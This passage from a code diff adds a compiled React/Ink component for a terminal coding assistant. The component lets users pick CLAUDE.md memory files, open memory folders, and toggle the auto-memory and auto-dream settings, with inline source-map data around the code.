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

src/components/memory/MemoryFileSelector.tsx

@@ -0,0 +1,438 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import chalk from 'chalk';
+import { mkdir } from 'fs/promises';
+import { join } from 'path';
+import * as React from 'react';
+import { use, useEffect, useState } from 'react';
+import { getOriginalCwd } from '../../bootstrap/state.js';
+import { useExitOnCtrlCDWithKeybindings } from '../../hooks/useExitOnCtrlCDWithKeybindings.js';
+import { Box, Text } from '../../ink.js';
+import { useKeybinding } from '../../keybindings/useKeybinding.js';
+import { getAutoMemPath, isAutoMemoryEnabled } from '../../memdir/paths.js';
+import { logEvent } from '../../services/analytics/index.js';
+import { isAutoDreamEnabled } from '../../services/autoDream/config.js';
+import { readLastConsolidatedAt } from '../../services/autoDream/consolidationLock.js';
+import { useAppState } from '../../state/AppState.js';
+import { getAgentMemoryDir } from '../../tools/AgentTool/agentMemory.js';
+import { openPath } from '../../utils/browser.js';
+import { getMemoryFiles, type MemoryFileInfo } from '../../utils/claudemd.js';
+import { getClaudeConfigHomeDir } from '../../utils/envUtils.js';
+import { getDisplayPath } from '../../utils/file.js';
+import { formatRelativeTimeAgo } from '../../utils/format.js';
+import { projectIsInGitRepo } from '../../utils/memory/versions.js';
+import { updateSettingsForSource } from '../../utils/settings/settings.js';
+import { Select } from '../CustomSelect/index.js';
+import { ListItem } from '../design-system/ListItem.js';
+
+/* eslint-disable @typescript-eslint/no-require-imports */
+const teamMemPaths = feature('TEAMMEM') ? require('../../memdir/teamMemPaths.js') as typeof import('../../memdir/teamMemPaths.js') : null;
+/* eslint-enable @typescript-eslint/no-require-imports */
+
+interface ExtendedMemoryFileInfo extends MemoryFileInfo {
+  isNested?: boolean;
+  exists: boolean;
+}
+
+// Remember last selected path
+let lastSelectedPath: string | undefined;
+const OPEN_FOLDER_PREFIX = '__open_folder__';
+type Props = {
+  onSelect: (path: string) => void;
+  onCancel: () => void;
+};
+export function MemoryFileSelector(t0) {
+  const $ = _c(58);
+  const {
+    onSelect,
+    onCancel
+  } = t0;
+  const existingMemoryFiles = use(getMemoryFiles());
+  const userMemoryPath = join(getClaudeConfigHomeDir(), "CLAUDE.md");
+  const projectMemoryPath = join(getOriginalCwd(), "CLAUDE.md");
+  const hasUserMemory = existingMemoryFiles.some(f => f.path === userMemoryPath);
+  const hasProjectMemory = existingMemoryFiles.some(f_0 => f_0.path === projectMemoryPath);
+  const allMemoryFiles = [...existingMemoryFiles.filter(_temp).map(_temp2), ...(hasUserMemory ? [] : [{
+    path: userMemoryPath,
+    type: "User" as const,
+    content: "",
+    exists: false
+  }]), ...(hasProjectMemory ? [] : [{
+    path: projectMemoryPath,
+    type: "Project" as const,
+    content: "",
+    exists: false
+  }])];
+  const depths = new Map();
+  const memoryOptions = allMemoryFiles.map(file => {
+    const displayPath = getDisplayPath(file.path);
+    const existsLabel = file.exists ? "" : " (new)";
+    const depth = file.parent ? (depths.get(file.parent) ?? 0) + 1 : 0;
+    depths.set(file.path, depth);
+    const indent = depth > 0 ? "  ".repeat(depth - 1) : "";
+    let label;
+    if (file.type === "User" && !file.isNested && file.path === userMemoryPath) {
+      label = "User memory";
+    } else {
+      if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
+        label = "Project memory";
+      } else {
+        if (depth > 0) {
+          label = `${indent}L ${displayPath}${existsLabel}`;
+        } else {
+          label = `${displayPath}`;
+        }
+      }
+    }
+    let description;
+    const isGit = projectIsInGitRepo(getOriginalCwd());
+    if (file.type === "User" && !file.isNested) {
+      description = "Saved in ~/.claude/CLAUDE.md";
+    } else {
+      if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
+        description = `${isGit ? "Checked in at" : "Saved in"} ./CLAUDE.md`;
+      } else {
+        if (file.parent) {
+          description = "@-imported";
+        } else {
+          if (file.isNested) {
+            description = "dynamically loaded";
+          } else {
+            description = "";
+          }
+        }
+      }
+    }
+    return {
+      label,
+      value: file.path,
+      description
+    };
+  });
+  const folderOptions = [];
+  const agentDefinitions = useAppState(_temp3);
+  if (isAutoMemoryEnabled()) {
+    let t1;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = {
+        label: "Open auto-memory folder",
+        value: `${OPEN_FOLDER_PREFIX}${getAutoMemPath()}`,
+        description: ""
+      };
+      $[0] = t1;
+    } else {
+      t1 = $[0];
+    }
+    folderOptions.push(t1);
+    if (feature("TEAMMEM") && teamMemPaths.isTeamMemoryEnabled()) {
+      let t2;
+      if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+        t2 = {
+          label: "Open team memory folder",
+          value: `${OPEN_FOLDER_PREFIX}${teamMemPaths.getTeamMemPath()}`,
+          description: ""
+        };
+        $[1] = t2;
+      } else {
+        t2 = $[1];
+      }
+      folderOptions.push(t2);
+    }
+    for (const agent of agentDefinitions.activeAgents) {
+      if (agent.memory) {
+        const agentDir = getAgentMemoryDir(agent.agentType, agent.memory);
+        folderOptions.push({
+          label: `Open ${chalk.bold(agent.agentType)} agent memory`,
+          value: `${OPEN_FOLDER_PREFIX}${agentDir}`,
+          description: `${agent.memory} scope`
+        });
+      }
+    }
+  }
+  memoryOptions.push(...folderOptions);
+  let t1;
+  if ($[2] !== memoryOptions) {
+    t1 = lastSelectedPath && memoryOptions.some(_temp4) ? lastSelectedPath : memoryOptions[0]?.value || "";
+    $[2] = memoryOptions;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const initialPath = t1;
+  const [autoMemoryOn, setAutoMemoryOn] = useState(isAutoMemoryEnabled);
+  const [autoDreamOn, setAutoDreamOn] = useState(isAutoDreamEnabled);
+  const [showDreamRow] = useState(isAutoMemoryEnabled);
+  const isDreamRunning = useAppState(_temp6);
+  const [lastDreamAt, setLastDreamAt] = useState(null);
+  let t2;
+  if ($[4] !== showDreamRow) {
+    t2 = () => {
+      if (!showDreamRow) {
+        return;
+      }
+      readLastConsolidatedAt().then(setLastDreamAt);
+    };
+    $[4] = showDreamRow;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  let t3;
+  if ($[6] !== isDreamRunning || $[7] !== showDreamRow) {
+    t3 = [showDreamRow, isDreamRunning];
+    $[6] = isDreamRunning;
+    $[7] = showDreamRow;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  useEffect(t2, t3);
+  let t4;
+  if ($[9] !== isDreamRunning || $[10] !== lastDreamAt) {
+    t4 = isDreamRunning ? "running" : lastDreamAt === null ? "" : lastDreamAt === 0 ? "never" : `last ran ${formatRelativeTimeAgo(new Date(lastDreamAt))}`;
+    $[9] = isDreamRunning;
+    $[10] = lastDreamAt;
+    $[11] = t4;
+  } else {
+    t4 = $[11];
+  }
+  const dreamStatus = t4;
+  const [focusedToggle, setFocusedToggle] = useState(null);
+  const toggleFocused = focusedToggle !== null;
+  const lastToggleIndex = showDreamRow ? 1 : 0;
+  let t5;
+  if ($[12] !== autoMemoryOn) {
+    t5 = function handleToggleAutoMemory() {
+      const newValue = !autoMemoryOn;
+      updateSettingsForSource("userSettings", {
+        autoMemoryEnabled: newValue
+      });
+      setAutoMemoryOn(newValue);
+      logEvent("tengu_auto_memory_toggled", {
+        enabled: newValue
+      });
+    };
+    $[12] = autoMemoryOn;
+    $[13] = t5;
+  } else {
+    t5 = $[13];
+  }
+  const handleToggleAutoMemory = t5;
+  let t6;
+  if ($[14] !== autoDreamOn) {
+    t6 = function handleToggleAutoDream() {
+      const newValue_0 = !autoDreamOn;
+      updateSettingsForSource("userSettings", {
+        autoDreamEnabled: newValue_0
+      });
+      setAutoDreamOn(newValue_0);
+      logEvent("tengu_auto_dream_toggled", {
+        enabled: newValue_0
+      });
+    };
+    $[14] = autoDreamOn;
+    $[15] = t6;
+  } else {
+    t6 = $[15];
+  }
+  const handleToggleAutoDream = t6;
+  useExitOnCtrlCDWithKeybindings();
+  let t7;
+  if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
+    t7 = {
+      context: "Confirmation"
+    };
+    $[16] = t7;
+  } else {
+    t7 = $[16];
+  }
+  useKeybinding("confirm:no", onCancel, t7);
+  let t8;
+  if ($[17] !== focusedToggle || $[18] !== handleToggleAutoDream || $[19] !== handleToggleAutoMemory) {
+    t8 = () => {
+      if (focusedToggle === 0) {
+        handleToggleAutoMemory();
+      } else {
+        if (focusedToggle === 1) {
+          handleToggleAutoDream();
+        }
+      }
+    };
+    $[17] = focusedToggle;
+    $[18] = handleToggleAutoDream;
+    $[19] = handleToggleAutoMemory;
+    $[20] = t8;
+  } else {
+    t8 = $[20];
+  }
+  let t9;
+  if ($[21] !== toggleFocused) {
+    t9 = {
+      context: "Confirmation",
+      isActive: toggleFocused
+    };
+    $[21] = toggleFocused;
+    $[22] = t9;
+  } else {
+    t9 = $[22];
+  }
+  useKeybinding("confirm:yes", t8, t9);
+  let t10;
+  if ($[23] !== lastToggleIndex) {
+    t10 = () => {
+      setFocusedToggle(prev => prev !== null && prev < lastToggleIndex ? prev + 1 : null);
+    };
+    $[23] = lastToggleIndex;
+    $[24] = t10;
+  } else {
+    t10 = $[24];
+  }
+  let t11;
+  if ($[25] !== toggleFocused) {
+    t11 = {
+      context: "Select",
+      isActive: toggleFocused
+    };
+    $[25] = toggleFocused;
+    $[26] = t11;
+  } else {
+    t11 = $[26];
+  }
+  useKeybinding("select:next", t10, t11);
+  let t12;
+  if ($[27] === Symbol.for("react.memo_cache_sentinel")) {
+    t12 = () => {
+      setFocusedToggle(_temp7);
+    };
+    $[27] = t12;
+  } else {
+    t12 = $[27];
+  }
+  let t13;
+  if ($[28] !== toggleFocused) {
+    t13 = {
+      context: "Select",
+      isActive: toggleFocused
+    };
+    $[28] = toggleFocused;
+    $[29] = t13;
+  } else {
+    t13 = $[29];
+  }
+  useKeybinding("select:previous", t12, t13);
+  const t14 = focusedToggle === 0;
+  const t15 = autoMemoryOn ? "on" : "off";
+  let t16;
+  if ($[30] !== t15) {
+    t16 = <Text>Auto-memory: {t15}</Text>;
+    $[30] = t15;
+    $[31] = t16;
+  } else {
+    t16 = $[31];
+  }
+  let t17;
+  if ($[32] !== t14 || $[33] !== t16) {
+    t17 = <ListItem isFocused={t14}>{t16}</ListItem>;
+    $[32] = t14;
+    $[33] = t16;
+    $[34] = t17;
+  } else {
+    t17 = $[34];
+  }
+  let t18;
+  if ($[35] !== autoDreamOn || $[36] !== dreamStatus || $[37] !== focusedToggle || $[38] !== isDreamRunning || $[39] !== showDreamRow) {
+    t18 = showDreamRow && <ListItem isFocused={focusedToggle === 1} styled={false}><Text color={focusedToggle === 1 ? "suggestion" : undefined}>Auto-dream: {autoDreamOn ? "on" : "off"}{dreamStatus && <Text dimColor={true}> · {dreamStatus}</Text>}{!isDreamRunning && autoDreamOn && <Text dimColor={true}> · /dream to run</Text>}</Text></ListItem>;
+    $[35] = autoDreamOn;
+    $[36] = dreamStatus;
+    $[37] = focusedToggle;
+    $[38] = isDreamRunning;
+    $[39] = showDreamRow;
+    $[40] = t18;
+  } else {
+    t18 = $[40];
+  }
+  let t19;
+  if ($[41] !== t17 || $[42] !== t18) {
+    t19 = <Box flexDirection="column" marginBottom={1}>{t17}{t18}</Box>;
+    $[41] = t17;
+    $[42] = t18;
+    $[43] = t19;
+  } else {
+    t19 = $[43];
+  }
+  let t20;
+  if ($[44] !== onSelect) {
+    t20 = value => {
+      if (value.startsWith(OPEN_FOLDER_PREFIX)) {
+        const folderPath = value.slice(OPEN_FOLDER_PREFIX.length);
+        mkdir(folderPath, {
+          recursive: true
+        }).catch(_temp8).then(() => openPath(folderPath));
+        return;
+      }
+      lastSelectedPath = value;
+      onSelect(value);
+    };
+    $[44] = onSelect;
+    $[45] = t20;
+  } else {
+    t20 = $[45];
+  }
+  let t21;
+  if ($[46] !== lastToggleIndex) {
+    t21 = () => setFocusedToggle(lastToggleIndex);
+    $[46] = lastToggleIndex;
+    $[47] = t21;
+  } else {
+    t21 = $[47];
+  }
+  let t22;
+  if ($[48] !== initialPath || $[49] !== memoryOptions || $[50] !== onCancel || $[51] !== t20 || $[52] !== t21 || $[53] !== toggleFocused) {
+    t22 = <Select defaultFocusValue={initialPath} options={memoryOptions} isDisabled={toggleFocused} onChange={t20} onCancel={onCancel} onUpFromFirstItem={t21} />;
+    $[48] = initialPath;
+    $[49] = memoryOptions;
+    $[50] = onCancel;
+    $[51] = t20;
+    $[52] = t21;
+    $[53] = toggleFocused;
+    $[54] = t22;
+  } else {
+    t22 = $[54];
+  }
+  let t23;
+  if ($[55] !== t19 || $[56] !== t22) {
+    t23 = <Box flexDirection="column" width="100%">{t19}{t22}</Box>;
+    $[55] = t19;
+    $[56] = t22;
+    $[57] = t23;
+  } else {
+    t23 = $[57];
+  }
+  return t23;
+}
+function _temp8() {}
+function _temp7(prev_0) {
+  return prev_0 !== null && prev_0 > 0 ? prev_0 - 1 : prev_0;
+}
+function _temp6(s_0) {
+  return Object.values(s_0.tasks).some(_temp5);
+}
+function _temp5(t) {
+  return t.type === "dream" && t.status === "running";
+}
+function _temp4(opt) {
+  return opt.value === lastSelectedPath;
+}
+function _temp3(s) {
+  return s.agentDefinitions;
+}
+function _temp2(f_2) {
+  return {
+    ...f_2,
+    exists: true
+  };
+}
+function _temp(f_1) {
+  return f_1.type !== "AutoMem" && f_1.type !== "TeamMem";
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiY2hhbGsiLCJta2RpciIsImpvaW4iLCJSZWFjdCIsInVzZSIsInVzZUVmZmVjdCIsInVzZVN0YXRlIiwiZ2V0T3JpZ2luYWxDd2QiLCJ1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MiLCJCb3giLCJUZXh0IiwidXNlS2V5YmluZGluZyIsImdldEF1dG9NZW1QYXRoIiwiaXNBdXRvTWVtb3J5RW5hYmxlZCIsImxvZ0V2ZW50IiwiaXNBdXRvRHJlYW1FbmFibGVkIiwicmVhZExhc3RDb25zb2xpZGF0ZWRBdCIsInVzZUFwcFN0YXRlIiwiZ2V0QWdlbnRNZW1vcnlEaXIiLCJvcGVuUGF0aCIsImdldE1lbW9yeUZpbGVzIiwiTWVtb3J5RmlsZUluZm8iLCJnZXRDbGF1ZGVDb25maWdIb21lRGlyIiwiZ2V0RGlzcGxheVBhdGgiLCJmb3JtYXRSZWxhdGl2ZVRpbWVBZ28iLCJwcm9qZWN0SXNJbkdpdFJlcG8iLCJ1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSIsIlNlbGVjdCIsIkxpc3RJdGVtIiwidGVhbU1lbVBhdGhzIiwicmVxdWlyZSIsIkV4dGVuZGVkTWVtb3J5RmlsZUluZm8iLCJpc05lc3RlZCIsImV4aXN0cyIsImxhc3RTZWxlY3RlZFBhdGgiLCJPUEVOX0ZPTERFUl9QUkVGSVgiLCJQcm9wcyIsIm9uU2VsZWN0IiwicGF0aCIsIm9uQ2FuY2VsIiwiTWVtb3J5RmlsZVNlbGVjdG9yIiwidDAiLCIkIiwiX2MiLCJleGlzdGluZ01lbW9yeUZpbGVzIiwidXNlck1lbW9yeVBhdGgiLCJwcm9qZWN0TWVtb3J5UGF0aCIsImhhc1VzZXJNZW1vcnkiLCJzb21lIiwiZiIsImhhc1Byb2plY3RNZW1vcnkiLCJmXzAiLCJhbGxNZW1vcnlGaWxlcyIsImZpbHRlciIsIl90ZW1wIiwibWFwIiwiX3RlbXAyIiwidHlwZSIsImNvbnN0IiwiY29udGVudCIsImRlcHRocyIsIk1hcCIsIm1lbW9yeU9wdGlvbnMiLCJmaWxlIiwiZGlzcGxheVBhdGgiLCJleGlzdHNMYWJlbCIsImRlcHRoIiwicGFyZW50IiwiZ2V0Iiwic2V0IiwiaW5kZW50IiwicmVwZWF0IiwibGFiZWwiLCJkZXNjcmlwdGlvbiIsImlzR2l0IiwidmFsdWUiLCJmb2xkZXJPcHRpb25zIiwiYWdlbnREZWZpbml0aW9ucyIsIl90ZW1wMyIsInQxIiwiU3ltYm9sIiwiZm9yIiwicHVzaCIsImlzVGVhbU1lbW9yeUVuYWJsZWQiLCJ0MiIsImdldFRlYW1NZW1QYXRoIiwiYWdlbnQiLCJhY3RpdmVBZ2VudHMiLCJtZW1vcnkiLCJhZ2VudERpciIsImFnZW50VHlwZSIsImJvbGQiLCJfdGVtcDQiLCJpbml0aWFsUGF0aCIsImF1dG9NZW1vcnlPbiIsInNldEF1dG9NZW1vcnlPbiIsImF1dG9EcmVhbU9uIiwic2V0QXV0b0RyZWFtT24iLCJzaG93RHJlYW1Sb3ciLCJpc0RyZWFtUnVubmluZyIsIl90ZW1wNiIsImxhc3REcmVhbUF0Iiwic2V0TGFzdERyZWFtQXQiLCJ0aGVuIiwidDMiLCJ0NCIsIkRhdGUiLCJkcmVhbVN0YXR1cyIsImZvY3VzZWRUb2dnbGUiLCJzZXRGb2N1c2VkVG9nZ2xlIiwidG9nZ2xlRm9jdXNlZCIsImxhc3RUb2dnbGVJbmRleCIsInQ1IiwiaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSIsIm5ld1ZhbHVlIiwiYXV0b01lbW9yeUVuYWJsZWQiLCJlbmFibGVkIiwidDYiLCJoYW5kbGVUb2dnbGVBdXRvRHJlYW0iLCJuZXdWYWx1ZV8wIiwiYXV0b0RyZWFtRW5hYmxlZCIsInQ3IiwiY29udGV4dCIsInQ4IiwidDkiLCJpc0FjdGl2ZSIsInQxMCIsInByZXYiLCJ0MTEiLCJ0MTIiLCJfdGVtcDciLCJ0MTMiLCJ0MTQiLCJ0MTUiLCJ0MTYiLCJ0MTciLCJ0MTgiLCJ1bmRlZmluZWQiLCJ0MTkiLCJ0MjAiLCJzdGFydHNXaXRoIiwiZm9sZGVyUGF0aCIsInNsaWNlIiwibGVuZ3RoIiwicmVjdXJzaXZlIiwiY2F0Y2giLCJfdGVtcDgiLCJ0MjEiLCJ0MjIiLCJ0MjMiLCJwcmV2XzAiLCJzXzAiLCJPYmplY3QiLCJ2YWx1ZXMiLCJzIiwidGFza3MiLCJfdGVtcDUiLCJ0Iiwic3RhdHVzIiwib3B0IiwiZl8yIiwiZl8xIl0sInNvdXJjZXMiOlsiTWVtb3J5RmlsZVNlbGVjdG9yLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBmZWF0dXJlIH0gZnJvbSAnYnVuOmJ1bmRsZSdcbmltcG9ydCBjaGFsayBmcm9tICdjaGFsaydcbmltcG9ydCB7IG1rZGlyIH0gZnJvbSAnZnMvcHJvbWlzZXMnXG5pbXBvcnQgeyBqb2luIH0gZnJvbSAncGF0aCdcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlLCB1c2VFZmZlY3QsIHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBnZXRPcmlnaW5hbEN3ZCB9IGZyb20gJy4uLy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB7IHVzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncyB9IGZyb20gJy4uLy4uL2hvb2tzL3VzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmcgfSBmcm9tICcuLi8uLi9rZXliaW5kaW5ncy91c2VLZXliaW5kaW5nLmpzJ1xuaW1wb3J0IHsgZ2V0QXV0b01lbVBhdGgsIGlzQXV0b01lbW9yeUVuYWJsZWQgfSBmcm9tICcuLi8uLi9tZW1kaXIvcGF0aHMuanMnXG5pbXBvcnQgeyBsb2dFdmVudCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7IGlzQXV0b0RyZWFtRW5hYmxlZCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2F1dG9EcmVhbS9jb25maWcuanMnXG5pbXBvcnQgeyByZWFkTGFzdENvbnNvbGlkYXRlZEF0IH0gZnJvbSAnLi4vLi4vc2VydmljZXMvYXV0b0RyZWFtL2NvbnNvbGlkYXRpb25Mb2NrLmpzJ1xuaW1wb3J0IHsgdXNlQXBwU3RhdGUgfSBmcm9tICcuLi8uLi9zdGF0ZS9BcHBTdGF0ZS5qcydcbmltcG9ydCB7IGdldEFnZW50TWVtb3J5RGlyIH0gZnJvbSAnLi4vLi4vdG9vbHMvQWdlbnRUb29sL2FnZW50TWVtb3J5LmpzJ1xuaW1wb3J0IHsgb3BlblBhdGggfSBmcm9tICcuLi8uLi91dGlscy9icm93c2VyLmpzJ1xuaW1wb3J0IHsgZ2V0TWVtb3J5RmlsZXMsIHR5cGUgTWVtb3J5RmlsZUluZm8gfSBmcm9tICcuLi8uLi91dGlscy9jbGF1ZGVtZC5qcydcbmltcG9ydCB7IGdldENsYXVkZUNvbmZpZ0hvbWVEaXIgfSBmcm9tICcuLi8uLi91dGlscy9lbnZVdGlscy5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdFJlbGF0aXZlVGltZUFnbyB9